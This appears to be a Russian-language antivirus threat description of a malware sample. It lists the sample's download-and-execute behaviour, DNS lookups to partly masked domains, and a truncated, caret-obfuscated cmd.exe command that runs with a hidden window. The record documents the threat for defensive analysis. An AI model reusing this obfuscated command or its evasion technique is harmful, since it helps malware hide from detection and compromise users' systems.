Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^S^O^Q=^mc^E^ I^m/^ ^DZl^ N^W^~^ ^}^[a^ ^u^g^-^ c^{^=^ W^O^E^ ^b4^\ ^J^w^;^ ^y^H(^ ^>Z^D^ ^J^>)^ ^b]^m^ }{^L^ Y^'\^ ^=R^H^ ^_^j^h^}/^i^Z^}^[^?^x^{^F^,%^h^B^[vc^A^S^_^t^W^-^,^a^...
Сетевая активность
UDP
- DNS ASK re##by.club
- DNS ASK ra##ec.kz
- DNS ASK tr###l-junky.de
- DNS ASK ah####niktarti.com
- DNS ASK ed###iss.net
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^S^O^Q=^mc^E^ I^m/^ ^DZl^ N^W^~^ ^}^[a^ ^u^g^-^ c^{^=^ W^O^E^ ^b4^\ ^J^w^;^ ^y^H(^ ^>Z^D^ ^J^>)^ ^b]^m^ }{^L^ Y^'\^ ^=R^H^ ^_^j^h^}/^i^Z^}^[^?^x^{^F^,%^h^B^[vc^A^S^_^t^W^-^,^a^...' (со скрытым окном)
